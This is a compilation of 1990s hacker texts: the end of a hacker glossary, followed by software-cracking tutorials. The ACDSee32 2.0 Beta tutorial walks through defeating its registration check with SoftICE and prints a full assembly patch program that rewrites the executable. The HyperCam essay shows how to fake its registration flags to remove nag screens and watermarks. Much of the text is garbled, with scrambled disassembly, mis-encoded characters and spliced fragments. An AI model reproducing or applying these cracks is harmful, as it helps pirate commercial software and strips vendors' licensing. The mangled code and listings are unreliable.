arcade games made by a company called "Virtuality." (Wonder how long it took to think of that?)ยนt ŒLectronic Link. Internet connected BBS set up by the makers of the hippy Whole Earth Catalog. Though it¹s rather small, it¹s membership includes SF writers, scientists, and hackers (Phiber Optik was on the WELL for a while.) Almost was destroyed (at least that¹s what the media said) by Kevin Mitnick. WERNERY, STEFFAN- German hacker, high school dropout and early member of the Chaos Computer Club; serves as recruitment officer and PR man. WHACKY WALLY- see CONTROL C WHOLE EARTH ŒLECTRONIC LINK- see WELL WILSON, ALLEN- see WING WINDOWS NT- I have no idea what NT stands for, but it¹s Microsoft¹s high-end version of Windows. It is very powerful and fast. In late 1996 they¹re coming out with Cairo, codename for Windows NT 4.0. WINDOWS 95- Microsoft¹s upgrade to Windows 3.11 that even further rips off the MacOS. Received lots and lots of press, much to the users of other OS¹s, pathetic predictions of the future and unconcealed drooling over technological innovations. WORMER- A term for illegal hackers to try and make the media leave the original word alone. Almost never used. See also CRACKER [From "worm," the virus-like program that eats up memory and moves from computer to computer but doesn¹t¹ megacorporation. Usually Japanese, but not necessarily. Sony and Microsoft are zaibatsus. (Though Microsoft isn¹t that big, it¹s influence is huge.) [Japanese for corporation. Entered the American vocabulary in large part due to William Gibson¹s¹t too happy with him either. See also PGP. ZIPPIES- One of the offshoots of the cyberpunk sub-culture. Basically hippies (or yippies) who discovered the laptop computer. ["Zen Inspired Pagan Professionals"] VERSION HISTORY Yes, I know it¹s stupid to have alpha- and beta- testers for a text file. But what the hell. You can now be certain it won¹t somehow screw up your hard drive. :) 1.1C (September 1995)- I re-wrote "A Complete List of Hacker Slang and Other Things" 1C into ³The Unofficial List of Hacker Slang² 1.1C; I removed some stuff I thought was outdated and added some stuff, with the intent of distributing it as an unofficial update. 1.0a1- Turned "The Unofficial List of Hacker Slang" 1.1C into "The Hacker¹s Encyclopedia and List of Terms" because I was adding some stuff that wasn¹t. I madeยนs Most Wanted Computer Outlaw By the Man Who Did It_, by Tsutomu Shimomura and John Markoff and got everything interesting out of it and stuck it in here. Itยนll- Minor beta testing by Space Rogue; miscellaneous bug fixes; entry on L0pht updated. 1.0b6- A few fixes and updates to the entry on _Wired_ magazine. 1.0b7- A few minor bug fixes. 1.0b8- A few additional changes. 1.0 (September 1996)- Finalized and standardized. The first edition of "The Hackers Encyclopedia," also known as Neuronomicon, completed. If you could already type fast, what would the point be of taking this class? My ninth grade Computers teacher Hacking is the art of esoteric quests, of priceless and worthless secrets. Odd bits of raw data from smashed machinery of intelligence and slavery reassembled in a mosaic both hilarious in its absurdity and frightening in its power. Dr. Who 413 [T]hanks to mindwarping science fictional yellow-covered literature, I have become a menace to Grover Clevelandยนs idea of peace and good order. Bruce Sterling What we face now is a war of states of mind. The Spook Beauty is not truth, truth is not information, and information is never free. Shades I am one of those machines which sometimes explode.
Friedrich Nietzsche
Cracking? users are stupid,
Because a lot of times @
Dig.
Introduction to Win95 Cracking A few words before beginning Giving credits, where credit is due ! So, i'd like to give a really BIG thanks to ED!SON of United Cracking Force for his tutorial about Windows 95 cracking, without it i won't be here telling you how to crack a program under win 95. Giving ALL the credits... all i learned about cracking is with the
help of great tutorials : 5 Minutes 4 a Crack /NeverOne, Amateur Crackist Tutorial /Specular Vision, Cracking for Masses /FraVia, Old Red Cracker Tutorials /+ORC (A Must), The Ancient Art Of Cracking & Cracking 101 /Buckaroo Banzai, The Cracking Manual /Cyborg, The Uncle Joe CrackBook /Uncle Joe (heh, what did you expect ?). But also with 40 Hex Magazines, The Crypt Newsletters, Virus Laboratories And Distribution. Note : a lot of the explaination i'll give you in Introduction parts are ripped from some tutorials upper, it's because i wanted to have something complete you can start with. Tnx again to those who wrot'em. For this tutorial you'll need : ACDSee32 V2.0 Beta Soft-Ice 3.00 HexWorkShop Introduction to Cracking You might be wondering what type of programming skills you need to become a cracker. Knowing a higher level language such as Basic, Pascal, or C++ will help you somewhat in that you will have an understanding of what's involved in the process of writing a program and how certain aspects of a program function. If you don't have any programming skills, you have a long road ahead of you. But even if you can program in a high level language, in order to crack you have to know assembly... you have total control of the system. This is also the level that the debugger operates at. You don't have to become a master at assembly to crack a program, but it helps. You do need to learn some rudimentary principles, and you absolutely have to become familiar with the registers of the cpu and how the 8088 instruction set uses them. There is no way around this. How proficient you are at assembly will determine how good of a
cracker you become. You can get by on learning a few basic instructions, how to use a debugger, and one or two simple techniques. This will allow you to remove a few shareware nag screens, and maybe you'll luck out and remove the copy protection from a game or two, but that's it. You can then dynamically interact with the program and run it one line of code at a time, and see exactly what the program is doing in real time as each line of code is executed. You will also be able to re-assemble instructions (in memory only), edit the contents of memory locations, manipulate the cpu's registers, and see the effects your modifications have on the program as it's running. This is also where all your system crashes will occur... There is a lot of trial and error involved in cracking. As you get better, you'll have to write programs that will implement your patches if you decide to distribute them. The patches themselves don't have to be written in assembly. The sources code I included in this manual are extremely simple. They're written in assembly because that's the only language I know how to program in, but if you are already proficient in a higher level language, it should be trivial for you to duplicate it's methods in your preferred language. Quick Introduction To Soft-Ice 3.0 Okay, okay, i already heard you : Hey exact, you've ED!SON introduction. Yes, i've taken it ;) Why should i do someone already did ? So for all of you that didn't chance to have that intro, i've a little remixed it, and here
ripped the something if have the it is...
Cracking a Windows program is most often more simple than a program running in Dos. In Windows, it's hard to hide anything from anyone who really looks for information, as long as Windows own functions are used. The first (and often only) tool you need is Soft-Ice, a powerfull debugger from NuMega (). Some people find it hard to use, but i will tell you how to do efficient debugging
with it. To use Sice, you must load it before windows, to do that, just add the "Drive:\Path\WINICE.EXE" at the end of your "AUTOEXEC.BAT". Normally, the Sice Setup should have already done it. I advise you to make a multi-config in that way, you can load Sice only when you need it. Example of multi-config : ;--- Config.sys [menu] menuitem SICE,Load Soft-Ice Debugger Behind Windows menuitem NORM,Normal Mode menudefault NORM,5 [SICE] [NORM] [common] DEVICE=C:\WIN96\HIMEM.SYS DOS=HIGH DEVICE=C:\cd\drivers\MTMCDAI.SYS /D:MTMIDE01 FILES=40 ;--- EOF Config.sys ;--- Autoexec.bat @ECHO OFF SET BLASTER=A220 I5 D1 H5 P330 T6 SET MIDI=SYNTH:1 MAP:E SET PATH=C:\WIN96;C:\WIN96\COMMAND;C:\DOS;D:\NC SET TEMP=C:\TEMP SET SOUND=C:\VIBRA16 C:\VIBRA16\DIAGNOSE /S C:\VIBRA16\MIXERSET /P /Q PROMPT $p$g goto %config% :SICE C:\Progra~1\SoftIc~1\WINICE.EXE goto common :NORM goto common :common ;--- EOF Autoexec.bat In the config.sys the [menu] indicates that's a multiconfig, it will display the two menuitem and wait for the user to selected, the part of the config file refering to followed by the [common] one. In the autoexec.bat %config% variable set to the user'selection and is used to part of your bat you will execute.
select. When it is runned and there's a select witch
So, udpate your system files if they need so, and reboot your machine. If you don't understand why these config files look like this, refer
to the MS-DOS Help (Type HELP at the dos prompt). Now that Sice is loaded into memory, press "CTRL-D" to to pop it up. Here is a little description of the windows you can see on Sice screen : CPU Registers Window FPU Registers Window Locals Windows Watch Window Data Window Code Window Command Window Help Line
"WR" En/Disable, "R", "Alt-R" Edit. "WF" En/Disable. "WL" En/Disable, "Alt-L" Focus. "WW" En/Disable, "Alt-W" Focus. "WD" En/Disable, "E", "Alt-D" to Edit. "WC" En/Disable, "A" Edit, "Alt-C" Focus. Type Commands and read output here. Get summary help on what you are typing.
The register window contains the general purpose and flags registers of the cpu. You will notice that the general purpose registers contain hexadecimal values. These values are just what happened to be in there when you brought up the debugger. You will also notice that some of the flags are highlighted while some are not. The highlighted flags are the ones that are SET. While the ones that are not highlighted are CLEARED. Generally, the register are also highlighted when they change value. From this window you will be able to manipulate the contents of the cpu's registers. You will change the values of the registers while debugging a program in order to change the behavior of the running program. Say you come across a JNZ instruction (jump if not zero), that instruction makes the decision on whether or not to make the jump based on the state of the (Z)ero flag. You can modify the condition of the (Z)ero flag in order to alter the flow of the programs code. By the same token, you can modify the general purpose registers in the same manner. Say the AX register contains 0000, and the program bases it's actions on that value, modifying the AX register to contain a new value will also have the effect of modifing the flow of the code. After you become comfortable with using Sice you'll begin to appreciate just how powerful this window is, and you'll aslo discover soon enough just how totally it can screw your system if you fuck up.
The data window will display data as it exists in memory. From this window you can usually display, search, edit, fill, and clear entire ranges of memory. The two most common commands for this window are display and edit. The search command is also useful in cracking. Sice offers you 4 data windows, you can toggle from one to another using the "data" command. You can also change the type of data this window is displaying using the "format" command. You can scroll into the data window using ALT and arrows or PgUp/PgDn keys. The code window is the window in which you will interact with the running program. This is the most complex window, and it is where the bulk of debugging occurs. The layout of the window is pretty simple, the group of 12:EIP registers (code segment and instruction pointer). This line is highlighted, if you havent it in the code window use the "." command to retrieve it. You will also notice a group of hex numbers to the right of the addresses, this group of numbers is the hexadecimal equivalent of the mnemonic instructions. The next group of words and numbers to the right of the hex numbers are the mnemonic instructions themselves. You can scroll into the code window using ALT and arrows or PgUp/PgDn keys. For most examples, we'll only need to have the CPU Registers Window, the Data and the code one. Disable others. I'm in 60 lines mode. So if all windows are disabled to have the same screen as me do (comment are preceded by a semi-colon) : :lines 60 ; Set 60 lines mode :color f a 4f 1f e ; Set psychedelic colors (Optional) :wd 22 ; Enable Data Window 22 lines long :wc 25 ; Enable Code Window 25 lines long :wr ; Enable Register Window :code on ; Display instruction bytes
This can seems you strange to have to type all these commands each time you'll start Sice. In fact, all these command can be done in the winice.dat file (in your sice directory). Let'see what is in mine : ;--- Example of Winice.dat ; General Variables NMI=ON SIWVIDRANGE=ON LOWERCASE=OFF lowercase MOUSE=ON NOLEDS=OFF NOPAGE=OFF PENTIUM=ON THREADP=ON
; Disable assembly ; Enable mouse ; Disable led switching ; Pentium Op-Codes ; Following Thread Process
VERBOSE=ON PHYSMB=16
; Exact Memory
SYM=256
; Memoy allocated
Size
to symbols HST=16
; Memory allocated
to history TRA=92
; Memory allocated
to back trace buffer ; Startup sequence INIT="lines 60;color f a 4f 1f e;wd 22;wc 22;wr;code on;x;" ; Function Keys F5="^G;" F8="^T;" functions
; Run (CTRL-D) ; Step into (Trace)
F10="^P;" functions F11="^G @SS:ESP;" function ; Export Symbols EXP=c:\win96\system\kernel32.dll EXP=c:\win96\system\user32.dll EXP=c:\win96\system\gdi32.dll
; Step Over (Procedure) ; Step out of
;--- EOF Winice.dat Okay, i think, it speaks by itself. Just a little note for defining function keys, all commands preceded by ^ are invisible, and all those followed by a ; are executed (the ; indicates an ENTER). Dont forget to load the Export Symbols ! Cracking ACDSee 32 V2.0 Beta Loading ACDSee32.exe into Soft-Ice And Breaking At The Right Point. Run the Symbol Loader, do "File/Open Module" or you can also click on the first button on the left of the tool bar and browse until you can select the file ACDSee32.exe. Now, to start debugging you must to do "Module/Loads..." or click the "Load button" (next to the "Open" one). Perhaps Sice poped-up, saying Break Due To Load Module, or something like that, leave it by pressing "CTRL-D" or typing "X" followed by "ENTER". You should disable the "Break At WinMain Option" to dont pop-up Sice each time you load a module (the little lamp button). OK, let's go. In ACDSee, click on "Tools/Register..." Fill up the boxes with what you want. (I've filled them with Name:"Out Rage Pirates" and Registration:"112233445566"). Generally programs must read the content of the boxes with one of these functions : 16-bit 32-bit GetWindowText GetWindowTextA, GetWindowTextW GetDlgItemText GetDlgItemTextA, GetDlgItemTextW The last letter of the 32 functions tells if the function uses one-byte or double-byte strings. Double-byte code is RARE. So, now we gonna enter Sice pressing CTRL-D and set breakpoints on the getting content of edit boxes : :bpx :bpx :bpx :bpx :bpx :bpx
GetWindowText GetWindowTexta GetWindowTextw GetDlgItemText GetDlgItemTexta GetDlgItemTextw
Oki, there's no need to set BPs (BreakPointS) 0 and 3 since we know it is a 32-bit application, but i've put them here to be exhaustive. If you encounter problems settings these breakpoints, make sure that the
export symbols are loaded in Soft-Ice : edit the file winice.dat and check if the semi-colons are removed from the exp= that follows the "Example of export symbols that can be included for chicago" near the end of file. Generally, you only need to keep kernel32.dll, user32.dll, gdi32.dll. If you get an error message "No LDT", make sure you dont run any other DOS application in the background, It's not sure that Sice will pop-up, and not all program are calling these Windows functions. Continue the program ("CTRL-D"), and click the OK button. It worked, we're back to Sice ! press "CTRL-D" to continue the process, back to Sice again ! re-re-press "CTRL-D", no more Sice pop-up. Normal, there's only two textboxes... Click OK to get back to the registration window. And now, let's throw an eye into Sice, CTRL-D. There's comments for the two break points : Break due to BPX USER32!GetDlgItemTextA (ET=4.70 seconds) Break due to BPX USER32!GetDlgItemTextA (ET=269.77 microseconds) It's BP 04 let's delete other BPs : :bl 00) 01) 02) 03) 04) 05) :bc
; BPs list BPX BPX BPX BPX BPX BPX 0 1
USER!GetWindowText USER32!GetWindowTexta USER32!CharNextExW USER!GetDlgItemText USER32!GetDlgItemTextA USER32!AppendMenuW 2 3 5
; Clear BPs #0, 1, 2, 3 and 5.
We'll do it again. Press "CTRL-D" to leave Soft-Ice, and click the OK button. Magic, we're back in it... Let's do a little focus : where are we, and what's the hell now ? We are at the start of the "Get Dialog Item Text A" function, and we are going to find where it is called. Since we know that when we do a far call to something the next logical instruction address is stored on the stack, we gonna set a BP on that address and execute the program until we reach it. G command will continue the program at the current CS:EIP, and set a temporary BP to the address indexed (@) in SS:ESP. There's a function key that automatically do it, normally, it's F11. :G @SS:ESP
Finding Where The Registation Code Is Checked Ok, we are back into Sice at the instruction following the call to DlgItemTextA. We gonna take a look on what's happenning before and after. Use CTRL-UP and CTRL-DOWN to move into the code window. If you dont have the code window on your screen you can make it appears by typing WC (WC 20 will set the code windows to be 20 lines long). You should see something like following (i've added blank lines and comments for clarity and future explainations) : ; Get The Name Into Buffer (ESP+8) 0040367B 8D442418 LEA EAX, [ESP + 18] ; Buffer(For Name) Address 0040367F 6A1E PUSH 0000001E ; Max String Size 00403681 8BB42408010000 MOV ESI, [ESP + 00000108] 00403688 50 PUSH EAX ; Buffer Address 00403689 6A6B PUSH 0000006B ; Control ID 0040368B 8B3D94DA4900 MOV EDI,[USER32!GetDlgItemTextA] 00403691 56 PUSH ESI ; Dialog Handle 00403692 FFD7 CALL EDI ; Call GetDlgItemTextA ; Get The Registration Code Into Buffer (ESP+38) >00403694 8D442438 LEA EAX, [ESP + 38] Buffer(Registration) Addy 00403698 68C8000000 PUSH 000000C8 Size 0040369D 50 PUSH EAX Address 0040369E 6882000000 PUSH 00000082 004036A3 56 PUSH ESI 004036A4 FFD7 CALL EDI GetDlgItemTextA ; Registration Checking >004036A6 8D442438 Buffer 004036AA 8D4C2418 004036AE 50 004036AF 51 !004036B0 E80BF9FFFF Check 004036B5 83C408 004036B8 85C0 004036BA 7E6E Bad Reg...
; ; Max String ; Buffer ; Control ID ; Dialog Handle ; Call
LEA
EAX, [ESP + 38]
LEA PUSH PUSH CALL
ECX, [ESP + 18] EAX ECX 00402FC0
; Name Buffer ; Save Datas
ADD ESP, 00000008 TEST EAX, EAX JLE 0040372A
; Do Something, sure... ;) 004036BC 8D442438 LEA EAX, [ESP + 38] 004036C0 8D4C2418 LEA ECX, [ESP + 18] 004036C4 50 PUSH EAX
; Registration ; Free Stack ; EAX=0 Means
004036C5 004036C6 004036CB 004036CE 004036D5 004036D7 004036DC 004036DE 004036E0 004036E2 004036E9 004036EB 004036F0 004036F2 004036F4
51 E895FAFFFF 83C408 833D44F0480000 740B A144F04800 8BC8 8B18 FF13 833D40F0480000 740C A140F04800 8BC8 8B18 FF5314
PUSH CALL ADD CMP JE MOV MOV MOV CALL CMP JE MOV MOV MOV CALL
; Close Registration Windows, 004036F7 6A01 PUSH 004036F9 56 PUSH 004036FA FF15F4DA4900 CALL 00403700 6A00 PUSH 00403702 6820324000 PUSH 00403707 56 PUSH 00403708 FF15F8DA4900 CALL 0040370E 50 PUSH 0040370F 68E4000000 PUSH 00403714 A148F04800 MOV 00403719 50 PUSH 0040371A FF1544DB4900 CALL 00403720 B801000000 MOV 00403725 E92EFFFFFF JMP ; Pops up not match." 0040372A 0040372C 00403731 00403732 00403737 00403738 0040373E 00403743 00403744 0040374A 0040374B 00403751 00403756
ECX 00403160 ESP, 00000008 DWORD PTR [0048F044], 00000000 004036E2 EAX, [0048F044] ECX, EAX EBX, [EAX] DWORD PTR [EBX] DWORD PTR [0048F040], 00000000 004036F7 EAX, [0048F040] ECX, EAX EBX, [EAX] [EBX+14] And pops : "Thanks Registering" 00000001 ESI [USER32!EndDialog] 00000000 00403220 ESI [USER32!GetParent] EAX 000000E4 EAX, [0048F048] EAX [USER32!DialogBoxParamA] EAX, 00000001 00403658
a window saying : "Your name and registration code do 6A00 A104F34800 50 68ACF34800 56 FF15E4DA4900 6882000000 56 FF15F0DA4900 50 FF1548DB4900 B801000000 E9FDFEFFFF
PUSH 00000000 MOV EAX, [0048F304] PUSH EAX PUSH 0048F3AC PUSH ESI CALL [USER32!MessageBoxA] PUSH 00000082 PUSH ESI CALL [USER32!GetDlgItem] PUSH EAX CALL [USER32!SetFocus] MOV EAX, 00000001 JMP 00403658
Let's do a some analysis on what we are seeing. We are at 0157:00403694 (Your segment address may be different, it depends on what you load, update my values with yours). The previous instruction is the call to the GetDlgItmeTextA. Again, you can scroll in the code windows with "CTRL-UP", "CTRL-PGUP", "CTRL-DOWN" and "CTRLPGDOWN".
You can also make the Focus to the code window by pressing "Alt-C" and use the UP, DOWN, PGUP, PGDOWN to scroll it. In C, the call to the GetDlgItemTextA should look like this : int GetWindowText (int windowhandle, char *buffer, int maxlen); So the push eax is the buffer address, let's have a look : :d esp+18 ; You can also use "db esp+18" for byte display We've got it, it's our name ! We saw that in few intructions, there will be second call to the GetDlgItemTextA, the CALL EDI at 0157:004036A4. We dont want Sice to break, so we will disable it : :bd 4 ; Disable BP 4 After that second call, there's another one followed by a test on the eax value... humm suspicious, is there any check inside that routine ? That's what we gonna determine fastly. We gonna trace the code stepping over function calls. Press P (Procedure trace) then ENTER (normally it's F10 key). Press it several times. After you've reached 0157:004036A6 (the second call) our registration code appears in the data window (if it is big enought, else you can scroll it down using Alt-DOWN) our predictions were right ;). You are now reaching the TEST AX,AX intruction (0157:004036BA), then there's a branch to another routine (0157:0040372A), the program will follow it and soon you will get a message saying that your registration code is wrong... (0157:00403738). So now we are sure that the call before the test was done to check the data we've enterred, and that the branch choose the direction to the Registration Not Match message. What if we change the direction the program took? Let's go, enable BP 4. :be 4 ; Enable BP 4 Leave Sice (CTRL-D), click on OK to get back to the registration window, and click on OK again to pop-up into Sice. Press CTRL-D another time to go to the second GetDlgItemTextA call and press F11 to
go out of that function call. Now step to the branch (F10 until you reach 0157:004036BA). And change the zero flag value to disable it: :r fl z ; Toggle Zero Register FLag Then leave the proggy to himself (CTRL-D). We've done it ! The beautifull message appears : thanks for supporting our products, etc, etc... Hu Oh, Hey, what's that stupid program ? If i click on the little eye (the about button in the toolbar), it's telling me it is not registered !!!? Fucking damn thing, we gonna gotcha ! Oki, let's think two seconds... what's the matter ? Well everything seems like if ACDSee checks the name and the registration at every times it shows them. So, to avoid this problem, we've got to give him the answer he wait each times he call the registration checker. First of all, we must verify our affirmations, we must know if the routine wich is called by the about button is effectively the piece of code into this call. Go into Soft-Ice using the BP we've set on the GetDlgItemTexta (go to the registration window and press enter), and press F11. Now, we're going to put another BP into the call. :bpx 0157:00402FC0 ; Change the address in regard to yours Now we gonna try, leave Soft-Ice (it will pop-up two times because BP 4 is still enabled, we're not interrested into these breaks), close the registration window by clicking cancel and finally click on the about button... Yep! back in Sice, we were right !!! So everything we've got to do now is to send back a satisfying answer to the calling code... Patching ACDSee Actually in your code window, you should have something like the following piece of code. All we've got to do is to leave this routine with EAX different from 0... ; Check Name Lenght >00402FC0 56 00402FC1 8B742408 00402FC5 56
PUSH ESI MOV ESI, [ESP + 08] PUSH ESI
00402FC6 length (1st) 00402FCB !00402FCE !00402FD0 followed !00402FD2 (BAD!) 00402FD4 00402FD5
E835000000
CALL 00403000
; check name
83C404 85C0 7504
ADD ESP, 00000004 TEST EAX, EAX JNE 00402FD6
; branch is
33C0
XOR
EAX, EAX
; Set EAX to 0
5E C3
POP RET
ESI
; Check Registration Code :00402FD6 8B44240C MOV EAX, [ESP + 0C] :00402FDA 50 PUSH EAX :00402FDB 56 PUSH ESI :00402FDC 6848F34800 PUSH 0048F348 :00402FE1 E86AE70100 CALL 00421750 herein (2nd) :00402FE6 83C40C ADD ESP, 0000000C :00402FE9 83F801 CMP EAX, 00000001 :00402FEC 1BC0 SBB EAX, EAX :00402FEE 5E POP ESI :00402FEF 40 INC EAX :00402FF0 C3 RET
; Exit 1
; "-294378973" ; The key is
; Exit 2
So what we gonna do is erase the three instructions that works on EAX with our own code. Dont forget to change the address in regard to your. Erasing the branch will assure us that only our code will be followed. There's thousand of way to modify this code, i choosed the following : :a 0157:00402FCE ; Assemble 0157:00402FCE mov eax,1 0157:00402FD3 nop 0157:00402FD3 ; Press escape to stop assembling :bc 0 ; Clear BP on 0157:00402FC0 And now let's check our work ! Press CTRL-D, welldone, the thanks for registering message appears... Okay, now click on the about button... (suspens) !!!YES!!! we've registered it. Oki let's do our work, now we've only got to make the patch... What we need to know is where are these instructions in the ACDSee32.exe file. I've use HexWorkShop for win95 and found them making a search for 85C0750433C0 (the instructions Opcodes, if Sice doesnt show the type "CODE ON") the one interesting us are at offset 23CE. Now we must make a little proggy to replace these bytes with our code. Here it is :
;--- ORP-A32B.ASM Title Patch For ACDSee 32 2.0 Beta .Model Huge .386 .Stack 100h .Code mov mov mov
ax,cs ds,ax es,ax
mov mov int jc
ax,3d02h dx,offset cs:fname 21h errorlbl
mov mov
word ptr [offset cs:fname],ax bx,ax
mov xor mov int jc
ax,4200h cx,cx dx,23ceh 21h errorlbl
mov mov mov mov int jc
; DX=*FileName ; DOS/FileOpen ; Jump On Errors ; BX=Handle
; ; ; ;
Segment Offset DOS/FileSeekSet Error !
ax,4000h bx,word ptr [offset fname] cx,6 dx,offset patch 21h errorlbl
; ; ; ;
BX=Handle Lenght Buffer DOS/WriteFile
mov mov int jc
ax,3e00h bx,word ptr [offset fname] 21h errorlbl
; BX=Handle ; DOS/CloseFile
mov jmp
dx,offset cs:text2 getout
errorlbl: mov getout: mov int
dx,offset cs:text1 ah,9 21h
mov
ah,4ch
; Get Out Of Here
int
21h
!
patch - NOP fname text1 text2 end;---
db 0B8H,001H,000H,000H,000H,090H
; MOV EAX,00000001
db 'ACDSEE32.EXE',0 db 0ah,0dh,'Error Handling File' db 0ah,0dh,'Patch By Exact /oRP',0ah,0dh,'$' EOF ORP-A32B.ASM
You can compile it with tasm 3.1 and tlink 5.1 (they can be found on my home page) in that manner : TASM /m9 /n /q orp-a32b TLINK /3 /x orp-a32b I think there is not so much comment to add at the source, anyway if you have any problems understanding what happening in there, you must find a book about programming (you can also try to get Helppc). Final Note Ok, this is the End... A really BIG thanks is going to ACP of UCF for sending me W32DASM ! Have Fun With This Stuff ! eXact /oRP aka sice_boy
The flags-faking approach Well, i decided to write this little essay for everyone (especially newbies) who does not like to spend a lot of time trying to decypher lines and lines of (meaningless?) code inside too many protection schemes. For example, have u ever found a serial number protected program which u were not able to crack? I bet you have! You change a lot of bytes, and yet it still sayd "Unregistered" and the "only for registered users" options were still disabled. On the other hand, did the following ever happen to you? A crippled program with some options disabled and u DO NOT FIGURE how to enable them? Well, go to the nearest tobacconist, buy a cool box of Marlboro Lights (or the red ones, if you prefer), choose a rainy day (the best for cracking purposes), sit in front of your PC and load this essay in your favourite text-editor (i use old, good dos EDIT). By the way, i hope you'll be able to read it, coz i dunno if the +HCU will really be interested on this piece of text.... in fact it doesn't describe any new protection scheme, it describes merely a different approach on cracking a lot of programs. Ok, let's start! I will take as example a program called "HyperCam" v1.19, sort of an AVI recorder of what happens on your screen... really good, especially if u want to create an animated "cracking essay" for your new brand cool target :-) To get it go to - HYPERCAM.ZIP - 251819 bytes (i'm
not really sure of the ZIP name, i found it on a CD. But I believe it should be right) Well, it's nothing new from the point of view of the protection scheme, as I said... the only thing to notice is that it uses a very very nasty key creation algorithm, maybe not understandable by most newbie-crackers. Also, it stores the registration infos in a file called HYPERCAM.LIC, so it needs quite a lot of work to crack it. Ok, but this time we don't want to crack it with the usual "BMSG xxxx WM_COMMAND" no? We want to try something new! Light your cigarettes, fire your SoftICE and install a good disassembler (i use now WDasm 8 <- thanx a lot to Frog's Print for cracking it! very good work!). The "protection" consist, basically, in the following scheme: 1) It displays a nag screen at the beginning 2) It adds a boring "HyperCam Unregistered" to all your nice AVI creations So, let's begin examining the "Unregistered Hypercam" add-on to the AVIs, i.e. the nagstring: Since we want to crack it without really "registering" it, we have to take care of the flags that the program controls in order to know if it's registered or not. Usually, a program will store in a location a "00" if unregistered (=FALSE) and a "01" if it's registered (=TRUE)... that's most of the times NOT a protectionist choice, that's the overbloated programming language doing it whithout ever letting them to know that this happens :-) We have to find this "holy" location. How? In this way: 1) Load up WDasm and disassemble HYPERCAM.EXE, save the *.alf. (be sure to use the cracked one by FrogPrint!! If you use the demo one u will not be able to examine the textfile at leisure inside your wordprocessor!) 2) Search the nagstring it adds to all your AVIs: "Unregistered Hypercam" YEAH!!!! FOUND IT! Examine this piece of code: (don't care
about my comments now, yu'll look at them after) * Referenced by a Jump at Address :00401464(C) | :0040151C A1C0A34300 mov eax, [0043A3C0]
*** < Now is
:00401521 85C0 :00401523 740F
< If "0" *** < You
"0" test eax, eax je 00401534
suck! :00401525 again :0040152B another flag :00401530 Check :00401532 BRAVO=!!
8B0D045E4300
mov ecx, [00435E04]
< Checks
A1C0504300
mov eax, [004350C0]
< with
3BC8
cmp ecx, eax
7418
je 0040154C
*** < Final < Equal?
Here we see that if the TEXT EAX,EAX fails at :401521 it will jump to 401534 Hmmm..... maybe DS:43A3C0 is the holy location where our flag is stored? YES!!!! * Referenced by a Jump at Address :00401523(C) | :00401534 8B1534A14300 mov edx, [0043A134] equal ? :0040153A 6A15 push 00000015 (italian) * Possible StringData Ref from Data Obj ->"Unregistered | :0040153C 68D0504300 push 004350D0 Unregistered :00401541 6A00 push 00000000 is added :00401543 6A00 push 00000000 AVIs :00401545 52 push edx
< not < NISBA!
HyperCam" < the < string < to your
(lines tagged with a "***" will be the targets of our crack) We found something interesting nah? Well, fire your ice (eh... i mean Winice!), run the program and set a BPX which let us return the debugger after doing something.... for example, i often use KERNEL!HMEMCPY and choose an option in which i can enter some strings.... but it's only an example, you could do it in a lot of other ways.... Well, :BPX KERNEL!HMEMCPY * CTRL-D and select now an option in which you can enter some text (for example, the "License" option). After entering, you will land in Winice again
* Now hit F12 (trace-back) until you reach the code of HYPERCAM Remember to remove first the KERNEL!HMEMCPY breakpoint! * Reached? ok, search now in this segment the first bytes of our code for me it is 22f, so : :S 22f:0 lffffffff A1 C0 A3 43 00 85 C0 74 0F 8B if you don't find it, it's simply bcoz maybe that piece of code isn't loaded in memory yet, it is not yet "pinpointed". So, choose the "AVI record" option and record something. Then retry and you'll find it. * Set a BPX now at address you found these bytes in (the beginning of the code showed before). For me, it is 22f:1ef91c, so : :BPX 22F:1EF91C * Ok, now we have set the breakpoint, hoping the best when we reload it and try to create an avi (or even when the program is restarted, we don't know now if it will work or not) it should break inside softice... TRY! * Now examine the comments in my code, and u should see that the flag which control all is located at DS:43A3C0. Infact if the 2 checks fails, the PUSH 004350D0 will save in stack the "Unregistered Hypercam" string (you can see it by dumping memory D 4350D0 as soon as you reach the push). Well, now we know where the flag is... can we suppose that it controls the initial nagscreen as well? yes of course! :) Remove all the BPXs, set a new BPM DS:43A3C0 and restart the program! Now we can see what happens to that "flag" location since the beginning... You will land in softice 2 times, and after the 2nd time the nagscreen will appear. So, what does this mean? Easy: the first time softice pops up inside a piece of code which resets the flags, the second time (our target) when the programs checks it. But look: 2nd popup:
:00404958 :0040495A :0040495F land here :00404965 equal jump :00404967 :00404969 calls :0040496A pops up! :0040496F
8BCD E83C610200 39BD48010000
mov ecx, ebp call 0042AA9B cmp [ebp+00000148], edi < you will
750D
jne 00404974
< if not
6AFF 57
push FFFFFFFF push edi
< if not..... < after some
688B000000
push 0000008B
< the nag
E886270200
call 004270FA
as u have noticed, EBP+148 is our "flag" location : 43A3C0 !!! We are finished now! Change .CMP [EBP+148],EDI with .MOVE BYTE PTR [EBP+148],1 always 1 .JNE 404974 .JMP 404974 our flag
< move < in
Back to 401530, change also the JE 40154C to JMP 40154C to fool completely the protection scheme. Note that you have to change all of these, 'coz only removing the nag or the string doesn't work. You can check this yourself examining the code.... Ah.... a little side effects of this kind of approach *MAY BE* that the program still say it isn't registered... even if all the options are now cracked and enabled and even if the nag screens has been removed. This is what happens in HyperCam... but could happen in other programs too ('bcoz obviously you don't register them normally, whit this approach you don't enter any name/serial, you only fool the program to *THINK* it's registered...). But who cares? The main thing is to have a fully working version nah? Well, i hope this little piece of txt could help you... it is often easier and faster to handle (read crack) the flags than trying to bypass the "real" number check or whatever the protection scheme does... also you can apply this approach to nearly every kind of protection... the main steps you should follow are: 1) Search references to the nag/unregistered/ecc. things in the code
2) Correctly identify the flags 3) BPM their locations and examine the code which refers to them. 4) Modify them to let the program think it's registered/deprotected. CIAO! by [>Xoanon
How To Disassemble A Windows Program I think this small exercise (shamelessly abducted from Schulman's book -> see here) could be very helpful for all the future crackers trying to get some bearings during their difficult disassembly of Windows programs. One of the problems in reverse engineering, is that nobody teaches you how to do it, and you have mostly to learn alone the relevant techniques, loosing an enormous amount of time. Disassembling Windows with a reverse engineering approach is *very* useful for actual cracking purposes, and it's time to form a new generation of Windows crackers, since the ghastly Microsoft domination will not easily be crushed without many more good crackers to help us. What +ORC writes and teaches in his lessons is fundamental, but unfortunately he does not teach the "elementary" side of cracking Windows (for DOS cracking, on the contrary, the Crackbook of Uncle Joe is a good primer for beginners and intermediate alike), so I'll try to help here to form a strong generation of little strong crackers... as +ORC wrote to me: "we are all throwing seeds in the air, some of them will land astray, but some of them will grow". Remember that cracking Windows is *very* different, and in techniques, from cracking DOS. 